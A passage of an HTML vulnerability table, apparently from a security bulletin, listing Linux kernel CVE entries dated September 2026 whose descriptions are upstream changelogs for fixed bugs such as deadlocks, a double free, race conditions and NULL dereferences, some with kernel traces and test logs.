&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93213&quot; target=&quot;_blank&quot;&gt;CVE-2026-93213&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: usb: gadget: f_tcm: fix deadlock in usbg_make_tpg() usbg_make_tpg() held dep_lock while calling configfs_depend_item_unlocked(), which acquires the configfs root inode lock when operating across subsystems. This creates a circular lock dependency with configfs_rmdir(): dep_lock -&amp;gt; configfs root inode lock -&amp;gt; su_mutex -&amp;gt; dep_lock In usbg_make_tpg(), dep_lock only serialized the read of opts-&amp;gt;ready, which is a monotonic flag that transitions from false to true exactly once (in tcm_set_name()) and never reverts. Remove dep_lock from usbg_make_tpg() entirely and use READ_ONCE/WRITE_ONCE to access opts-&amp;gt;ready locklessly instead.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93214&quot; target=&quot;_blank&quot;&gt;CVE-2026-93214&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: cdx: Fix double free when sysfs file creation fails In cdx_create_res_attr(), if sysfs_create_bin_file() fails, the code frees res_attr but doesn&#039;t set cdx_dev-&amp;gt;res_attr[num] to NULL. This leaves a dangling pointer in the array. Then cdx_destroy_res_attr() frees the already-freed memory. Fix the double free by initializing cdx_dev-&amp;gt;res_attr[num] after sysfs_create_bin_file() completes.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93215&quot; target=&quot;_blank&quot;&gt;CVE-2026-93215&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mm/page_owner: use memcg_data snapshot to avoid TOCTOU in print_page_owner_memcg() print_page_owner_memcg() reads page-&amp;gt;memcg_data via READ_ONCE() at the start to guard against tail pages and NULL data. However, it later re-reads page-&amp;gt;memcg_data locklessly in two places: 1: page_memcg_check(page) 2: PageMemcgKmem(page) (via folio_memcg_kmem(), which includes VM_BUG_ON assertions for tail pages and MEMCG_DATA_OBJEXTS) If the page is concurrently freed and reallocated as a THP tail page or slab page between these calls, the VM_BUG_ON assertions can trigger on CONFIG_DEBUG_VM=y builds, crashing the kernel. Fix both TOCTOU issues by using the memcg_data snapshot throughout.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93216&quot; target=&quot;_blank&quot;&gt;CVE-2026-93216&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mm/madvise: skip device-private PMDs in cold and pageout walks madvise_cold_or_pageout_pte_range() takes pmd_trans_huge_lock(), whose pmd_is_huge() check returns true for a device-private PMD. The subsequent !pmd_present() branch has a VM_BUG_ON() asserting migration is the only allowed non-present case; a device-private PMD trips it. Skip device-private PMDs in that non-present branch and continue to huge_unlock before calling pmd_folio(). Downgrade the check to VM_WARN_ON_ONCE() so an unexpected PMD softleaf logs a warning rather than panicking. Drop the thp_migration_supported() guard: it expands to IS_ENABLED(CONFIG_ARCH_SUPPORTS_PMD_SOFTLEAF), and both pmd_is_migration_entry() and pmd_is_device_private_entry() already return false when that config is not selected, so the guard suppresses only the case where the warning would already be silent. Potential trigger: an HMM-based GPU driver races with madvise(MADV_COLD)/MADV_PAGEOUT: pmd_trans_huge(*pmd) reads true, then migrate_vma_pages() flips the PMD to a device-private entry before the PMD lock is acquired.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93217&quot; target=&quot;_blank&quot;&gt;CVE-2026-93217&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mm/huge_memory: skip device-private PMDs in madvise_free_huge_pmd madvise_free_pte_range() checks pmd_trans_huge(*pmd) unlocked, then madvise_free_huge_pmd() takes pmd_trans_huge_lock(). pmd_is_huge() returns true for a device-private PMD, so orig_pmd can be device-private and enter the !pmd_present() branch. Skip device-private PMDs in that non-present branch and continue to out before calling pmd_folio(). Downgrade the check to VM_WARN_ON_ONCE() so an unexpected PMD softleaf logs a warning rather than panicking. Drop the thp_migration_supported() guard: it expands to IS_ENABLED(CONFIG_ARCH_SUPPORTS_PMD_SOFTLEAF), and both pmd_is_migration_entry() and pmd_is_device_private_entry() already return false when that config is not selected, so the guard suppresses only the case where the warning would already be silent. Potential trigger: an HMM-based GPU driver races with madvise(MADV_FREE): migrate_vma_pages() flips the PMD to a device-private entry between the caller&#039;s pmd_trans_huge() check and the callee&#039;s pmd_trans_huge_lock().&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93218&quot; target=&quot;_blank&quot;&gt;CVE-2026-93218&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: clocksource/drivers/timer-sun4i: Advertise a real minimum delta sun4i_clkevt_next_event() compensates for the timer stop/start synchronization delay by programming evt - TIMER_SYNC_TICKS into the hardware interval register. The clockevent device currently advertises TIMER_SYNC_TICKS as min_delta_ticks, so the clockevents core is allowed to call set_next_event() with evt == TIMER_SYNC_TICKS. That programs a zero-tick interval. With oneshot/highres/nohz timer operation this can leave the next event stuck, which was observed as a boot hang on Allwinner D1 after the clockevents core started reusing forced minimum-delta events. Advertise one extra tick instead, so the smallest event accepted by the core still programs at least one hardware tick after the synchronization compensation.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93219&quot; target=&quot;_blank&quot;&gt;CVE-2026-93219&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: sched_ext: Keep kick_sync waiting on the rq&#039;s own CPU kick_sync_wait_bal_cb() assumes it runs on the rq&#039;s CPU from the __schedule() tail: the snapshots it compares against live in that CPU&#039;s percpu area and the busy-wait runs with the rq lock dropped and IRQs enabled. However, dispatch can now drop the rq lock while the callback sits queued, and rq lock takers in that window (the sched class change paths, the scx task iterator) flush pending balance callbacks on release, running the callback on a foreign CPU. Such a run compares against unrelated snapshots and can deadlock when the executing CPU is itself a wait target. Bail on a foreign CPU and leave the wait state alone. The wait only observes progress that the resched kicks already guarantee and the rq&#039;s next wait picks up the stale cpus_to_sync bits.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93220&quot; target=&quot;_blank&quot;&gt;CVE-2026-93220&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: signal: avoid shared siginfo namespace rewrites send_signal_locked() rewrites sender ids for the target namespace. Group sends reuse the same siginfo, so one recipient can affect the next. Copy the siginfo before changing it.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93222&quot; target=&quot;_blank&quot;&gt;CVE-2026-93222&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: staging: media: tegra-video: fix of_node_put() on VIP parse errors tegra_vip_channel_of_parse() initializes np from dev-&amp;gt;of_node without taking a reference, but its error paths drop one through the err_node_put label. This underflows the refcount of the VIP device&#039;s OF node when endpoint parsing fails on a malformed device tree. The only reference the function takes on np is the success-path of_node_get() stored in vip-&amp;gt;chan.of_node, and that one is already released by the tegra_vip_init() error path and by tegra_vip_exit(). Return errors directly instead of jumping to the bogus cleanup label.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93223&quot; target=&quot;_blank&quot;&gt;CVE-2026-93223&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ipv6: use RCU iterator to dump route exceptions rt6_nh_dump_exceptions() uses hlist_for_each_entry() to iterate over RCU-protected exception lists. The caller holds rcu_read_lock(), but does not hold rt6_exception_lock, so rt6_insert_exception() can concurrently add an entry with hlist_add_head_rcu(). KCSAN reports this race (irrelevant details omitted): ================================================================== BUG: KCSAN: data-race in rt6_insert_exception / rt6_nh_dump_exceptions write (marked) to 0xffff8a7c44c59620 of 8 bytes by interrupt on cpu 5: rt6_insert_exception+0x3bb/0x760 __ip6_rt_update_pmtu+0x4fe/0x750 ip6_sk_update_pmtu+0x19a/0x3b0 udpv6_err+0x3ff/0x800 icmpv6_notify+0x1e1/0x440 icmpv6_rcv+0x8c0/0xab0 ip6_protocol_deliver_rcu+0x616/0x840 ip6_input_finish+0xb9/0x160 ... entry_SYSCALL_64_after_hwframe+0x77/0x7f read to 0xffff8a7c44c59620 of 8 bytes by task 549 on cpu 14: rt6_nh_dump_exceptions+0xb3/0x260 rt6_dump_route+0x53e/0x5f0 fib6_dump_node+0x6d/0xf0 fib6_walk_continue+0x290/0x2d0 fib6_dump_table+0x28d/0x360 inet6_dump_fib+0x37d/0x620 rtnl_dumpit+0x7b/0xd0 netlink_dump+0x3ae/0x7e0 ... entry_SYSCALL_64_after_hwframe+0x77/0x7f 4 locks held by dumper/549: ... #1: (rcu_read_lock){....}-{1:3}, at: inet6_dump_fib+0x88/0x620 #2: (&amp;amp;tb-&amp;gt;tb6_lock){+.-.}-{3:3}, at: fib6_dump_table+0x1e9/0x360 #3: (rcu_read_lock){....}-{1:3}, at: rt6_dump_route+0x483/0x5f0 value changed: 0xffff8a7c44e05700 -&amp;gt; 0xffff8a7c45d60100 Reported by Kernel Concurrency Sanitizer on: CPU: 14 UID: 0 PID: 549 Comm: dumper Not tainted 7.2.0-rc7-virtme #38 PREEMPT(lazy) ... Use hlist_for_each_entry_rcu() to safely iterate over the exception list.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93226&quot; target=&quot;_blank&quot;&gt;CVE-2026-93226&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mm/mm_init: deferred_grow_zone(): fix out-of-range first_deferred_pfn With CONFIG_DEFERRED_STRUCT_PAGE_INIT enabled, deferred_grow_zone() initializes struct pages early in boot to satisfy an allocation. With a large CMA reservation in place, the ranges deferred_init_memmap() finds may not add up to the allocation it was asked for, and the function ends up initializing the memory map of the entire zone and still falls short. That is fine in itself: the function accounts for it and leaves the caller to decide whether it now has enough memory. However, the update of pgdat-&amp;gt;first_deferred_pfn that tracks where uninitialized memory map starts could overflow. If the node&#039;s RAM end is not aligned on PAGES_PER_SECTION boundaries and some deferred struct pages were initialized, pgdat-&amp;gt;first_deferred_pfn would point past the end of the node&#039;s memory. deferred_init_memmap() later picks up from pgdat-&amp;gt;first_deferred_pfn and hits a BUG_ON(), because it expects a pfn within its node. For example, when running a kernel with CONFIG_DEFERRED_STRUCT_PAGE_INIT=y and CONFIG_CMA=y using the following qemu command line qemu-system-x86_64 -enable-kvm -m 8032M -kernel bzImage \ -append &quot;nokaslr cma=4768M@0x100000000&quot; the kernel panics: kernel BUG at mm/mm_init.c:2131! CPU: 3 UID: 0 PID: 36 Comm: pgdatinit0 Not tainted 7.2.0-rc6 #1 RIP: 0010:deferred_init_memmap+0x1b8/0x1c0 RAX: 0000000000236000 R13: 0000000000238000 Call Trace: kthread+0xdf/0x120 ret_from_fork+0x187/0x250 Make sure that the update of pgdta-&amp;gt;first_deferred_pfn does not overflow when the entire zone&#039;s (and therefore node&#039;s) memory map is initialized. [rppt: massaged the changelog]&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93227&quot; target=&quot;_blank&quot;&gt;CVE-2026-93227&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mm/hugetlb: initialize gigantic bootmem hugepage struct pages earlier Gigantic bootmem HugeTLB pages are currently initialized from hugetlb_init(), but page_alloc_init_late() runs earlier and walks pageblocks to determine zone contiguity. If a bootmem HugeTLB region is marked noinit, set_zone_contiguous() can observe still-uninitialized struct pages through __pageblock_pfn_to_page(). This may not trigger an immediate failure, but it can make set_zone_contiguous() compute the wrong zone contiguity state. If extra poisoned-page checks are added in this path, such as PF_POISONED_CHECK() in page_zone_id(), it can also trigger an early boot panic. Initialize gigantic bootmem HugeTLB struct pages from page_alloc_init_late(), before zone contiguity is evaluated, so later page allocator setup only sees valid struct page state. This also makes the initialization order more natural, as struct pages should be initialized before later code inspects them.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93230&quot; target=&quot;_blank&quot;&gt;CVE-2026-93230&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: lockd: fix swapped arguments in nlmsvc_match_ip() When releasing locks by server IP address via /proc/fs/nfsd/unlock_ip, nlmsvc_unlock_all_by_ip() calls nlm_traverse_files() with the server sockaddr as the opaque @data argument: nlm_traverse_files(server_addr, nlmsvc_match_ip, NULL); The match callback is later invoked from nlm_traverse_locks() as: match(lockhost, host); where the first argument is the nlm_host that owns the lock, and the second argument is the @data that was originally passed down (here the server sockaddr). This is the convention every other match callback relies on (nlmsvc_mark_host(), nlmsvc_same_host(), nlmsvc_is_client()): arg1 is the real nlm_host, arg2 is the caller-supplied reference value. nlmsvc_match_ip() has had these two arguments reversed ever since the unlock-by-IP feature was introduced in commit 4373ea84c84d (&quot;lockd: unlock lockd locks associated with a given server ip&quot;): return rpc_cmp_addr(nlm_srcaddr(host), datap); Here @host is actually the server sockaddr, so nlm_srcaddr(host) dereferences a struct sockaddr as a struct nlm_host and reads garbage at the offset of h_srcaddr; meanwhile @datap is actually the lock owner&#039;s nlm_host but is compared as a sockaddr. As a result the comparison practically never matches and locks are not released for the requested IP. Swap the arguments so the lock owner&#039;s source address is compared against the requested server address: return rpc_cmp_addr(nlm_srcaddr(datap), (struct sockaddr *)host); [ cel: fix the misleading typedef parameter names too ]&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93231&quot; target=&quot;_blank&quot;&gt;CVE-2026-93231&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mm/hugetlb: fix boot panic with CONFIG_DEBUG_VM and HVO bootmem pages Patch series &quot;mm: Refactor bootmem gigantic hugepage allocation&quot;, v4. This series is split out from the earlier larger series &quot;mm: Generalize HVO for HugeTLB and device DAX&quot; [1]. It collects the first 19 patches of that series as a standalone set of fixes and preparatory cleanups around bootmem HugeTLB handling, sparse initialization ordering, and related vmemmap setup. The first patches fix a few bugs found while reviewing the existing code, including incorrect bootmem HVO handling, wrong vmemmap registration arguments, a powerpc compound-vmemmap tracking bug, and too-late initialization of gigantic bootmem HugeTLB struct pages. The rest of the series reorders early memory initialization so the relevant zone state is available before sparse and HugeTLB boot-time setup runs, then simplifies the remaining bootmem gigantic hugepage allocation path and removes code made obsolete by that rework. At a high level: - patches [1-4] fix boot-time and arch-specific bugs - patches [5-12] reorder and simplify sparse/mm/hugetlb early init - patches [13-19] refactor bootmem gigantic hugepage allocation and remove obsolete helpers and state This patch (of 19): Commit 622026e87c40 (&quot;mm/hugetlb: remove fake head pages&quot;) switched HVO to reuse per-zone shared tail pages from zone-&amp;gt;vmemmap_tails[]. Those shared tail pages were initialized in hugetlb_vmemmap_init(), but bootmem HugeTLB folios are prepared earlier from gather_bootmem_prealloc(). With hugetlb_free_vmemmap=on, prep_and_add_bootmem_folios() can access pageblock flags on bootmem HugeTLB pages whose mirrored tail struct pages already point to the shared tail page. On CONFIG_DEBUG_VM kernels, get_pfnblock_bitmap_bitidx() then dereferences the still-uninitialized shared tail page and can panic during boot. Initialize zone-&amp;gt;vmemmap_tails[] from gather_bootmem_prealloc(), before bootmem HugeTLB folios are processed, and drop the later initialization from hugetlb_vmemmap_init(). This bug only affects CONFIG_DEBUG_VM kernels, where the relevant assertion is evaluated.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93232&quot; target=&quot;_blank&quot;&gt;CVE-2026-93232&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/nouveau/dmem: fix callocated underflow on large folio split nouveau_dmem_folio_free() drops chunk-&amp;gt;callocated once per freed folio, while a large (compound) device-private folio is only counted once when it is allocated. When such a folio is split, the mm core invokes -&amp;gt;folio_split() (nouveau_dmem_folio_split()) once for each new sub-folio, but the hook only fixes up the sub-folio metadata and leaves chunk-&amp;gt;callocated unchanged. Each resulting sub-folio is later freed separately, so after a split the single allocation (+1) is met by N frees (-N), leaving chunk-&amp;gt;callocated short by N-1. On the first split/free cycle it underflows: WARN_ON(!chunk-&amp;gt;callocated) fires, the unsigned counter wraps and never returns to zero, so the chunk can no longer be reclaimed (nouveau_dmem_fini() also warns on the leaked count). Account for the new sub-folio in the split hook, under the same lock as nouveau_dmem_folio_free(), so the count stays balanced.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93233&quot; target=&quot;_blank&quot;&gt;CVE-2026-93233&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/gud: validate TV mode names before creating enum property The GUD protocol returns TV mode names as fixed-size GUD_CONNECTOR_TV_MODE_NAME_LEN entries and requires each name to be NUL-terminated. gud_connector_add_tv_mode() currently passes each fixed-size entry directly to drm_mode_create_tv_properties_legacy(), which eventually reaches drm_property_add_enum() and strlen(). If a device returns an entry without a terminating NUL byte, strlen() reads past the end of the slot and can run beyond the allocated buffer, triggering an out-of-bounds read. Validate that each returned TV mode name contains a NUL terminator within its fixed-size slot before passing it to the DRM property code. If a malformed entry is found, reject the device response with -EIO. This fixes the out-of-bounds read without changing the handling of valid devices, and avoids silently truncating malformed protocol data.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93234&quot; target=&quot;_blank&quot;&gt;CVE-2026-93234&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: f2fs: fix to zero post-EOF data when extending file size generic/794 4s ... - output mismatch (see /share/git/fstests/results//generic/794.out.bad) --- tests/generic/794.out 2026-06-12 08:46:32.766426241 +0800 +++ /share/git/fstests/results//generic/794.out.bad 2026-07-05 18:32:55.000000000 +0800 @@ -1,4 +1,16 @@ QA output created by 794 append_write +FAIL: non-zero data in gap [4080,4096) after shutdown+remount +000000 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a &amp;gt;ZZZZZZZZZZZZZZZZ&amp;lt; +* +001000 truncate_up ... (Run &#039;diff -u /share/git/fstests/tests/generic/794.out /share/git/fstests/results//generic/794.out.bad&#039; to see the entire diff) Ran: generic/794 Failures: generic/794 Failed 1 of 1 tests Steps of generic/794: 1. write 4096 bytes to file w/ 0x5a 2. use fiemap to get PBA of first block in file 3. truncate file to 4080 4. umount; write 4096 bytes to file w/ 0x5a directly via PBA; mount 5. extend filesize via a) append 4096 from offset 4096, or b) truncate 8192, or c) fallocate 4096 from offset 4096 6. verify the gap is zeroed in memory [4080,4096) 7. sync range 4096 from offset 4096; shutdown -f (flush meta before shutdown) 8. umount; mount; verify [4080,4096) is zeroed or not. When extending file size (e.g. via truncate, fallocate, or write) across an unaligned EOF boundary, we need to ensure that post-EOF data in the partial page is zeroed out in pagecache and marked dirty, then writeback the cache to persist zeroed data before committing inode w/ updated i_size. This help to prevent stale disk data beyond the previous EOF from being exposed after remounting or crash recovery. Since f2fs is a LFS filesystem, we only support direct write via PBA in pinfile, and pinfile has section-aligned filesize, so in Android, there should no problem, but for other usage in different environment, let&#039;s fix this w/ fsync_mode=strict mount option.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93235&quot; target=&quot;_blank&quot;&gt;CVE-2026-93235&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: meson: vdec: fix NULL pointer deref in vdec_try_fmt_common When VIDIOC_TRY_FMT is called with an unsupported pixel format on the OUTPUT queue, vdec_try_fmt_common() falls back to V4L2_PIX_FMT_MPEG2. However, if a distro has locally patched MPEG2 support out (as it has been broken for some time) the platform format table does not contain MPEG2 so find_format() returns NULL and the subsequent dereference of fmt_out-&amp;gt;max_width triggers a NULL pointer dereference. Fix this by falling back to the first format in the platform&#039;s format array instead of hardcoding V4L2_PIX_FMT_MPEG2. This is always valid since every platform defines at least one format.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93236&quot; target=&quot;_blank&quot;&gt;CVE-2026-93236&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: s390/vfio-ap: fix potential use of uninitialized apm_filtered bitmap The DECLARE_BITMAP(apm_filtered, AP_DEVICES) macro allocates the bitmap on the stack without zero-initializing it. In vfio_ap_mdev_hot_plug_cfg(), the vfio_ap_mdev_filter_matrix() function is only called to initialize and populate apm_filtered if either filter_adapters or filter_domains is true. If the hot plug configuration change only adds control domains (meaning filter_cdoms is true, but filter_adapters and filter_domains are both false), vfio_ap_mdev_filter_matrix() is bypassed. Consequently, apm_filtered is passed to reset_queues_for_apids() with uninitialized stack garbage. This can cause reset_queues_for_apids() to interpret arbitrary stack garbage bits as valid APIDs to reset, potentially performing unintended guest hardware queue resets. Fix this by zero-initializing the apm_filtered bitmap at the beginning of vfio_ap_mdev_hot_plug_cfg() using bitmap_zero().&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93238&quot; target=&quot;_blank&quot;&gt;CVE-2026-93238&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: arm64: mm: Fix the lockless page-table walk in show_pte() show_pte() walks page tables locklessly and can run with interrupts enabled. A concurrent teardown can free a table page while it is being walked. It can also clear a parent entry after show_pte() checked it; the regular pXd_offset() helpers then reread the cleared entry and can derive a bogus lower-level pointer and fault again. Use the lockless offset helpers with the saved parent entries, as gup_fast() does, and pass the saved PMD to pte_offset_map(). For task page tables, arm64 selects MMU_GATHER_RCU_TABLE_FREE. Disable local interrupts around the walk to hold off RCU-deferred table frees and block the tlb_remove_table_sync_one() IPI until the walk is finished. Place the IRQ guard after the header print. This does not make the output a consistent snapshot, but prevents the task page-table walk from dereferencing a released table page or deriving a pointer from a different parent value.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93239&quot; target=&quot;_blank&quot;&gt;CVE-2026-93239&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: memcg: make the v1 soft limit knob inert The v1 soft limit has been deprecated since v6.12 and nobody has reported depending on it. Start the removal by decoupling the interface from the implementation: keep memory.soft_limit_in_bytes, but ignore writes to it and always report the maximum value on read similar to what memory.kmem.limit_in_bytes already does. Writes are still parsed, so malformed input keeps returning -EINVAL. The knob now also behaves the same everywhere: it used to return -EOPNOTSUPP on PREEMPT_RT, where soft limit reclaim has always been disabled. This also fixes the syzbot report linked below. Soft limit reclaim is the only caller that runs shrink_lruvec() from kswapd against a specific memcg, so it is the only way to reach lru_gen_shrink_lruvec() and in turn set_mm_walk(), which warns when called from kswapd.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93240&quot; target=&quot;_blank&quot;&gt;CVE-2026-93240&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: memcg: bypass the reclaim and oom killer for dying tasks once oom_reaper is done At Meta, we are seeing instances where an OOM killed job is stuck in the exit path for several hours. In one particular case, the job was stuck for more than 8 hours and I had to manually remove the memory.max limits to allow the process to exit. The job was a single process job and had ~55 GiB memory.max and zswap enabled. It had almost 0 anon in memory and ~111 GiB in zswap compressed to ~51 GiB zswap pool (i.e. almost all of memory.current was zswap). Nothing was left on the LRUs to reclaim. On further inspection, I observed ~20k threads of that process stuck with the following stack: [&amp;lt;0&amp;gt;] mem_cgroup_out_of_memory+0x4e/0xa0 [&amp;lt;0&amp;gt;] charge_memcg+0x8bf/0x990 [&amp;lt;0&amp;gt;] mem_cgroup_swapin_charge_folio+0x4e/0x80 [&amp;lt;0&amp;gt;] __read_swap_cache_async+0x10c/0x260 [&amp;lt;0&amp;gt;] swapin_readahead+0x116/0x3f0 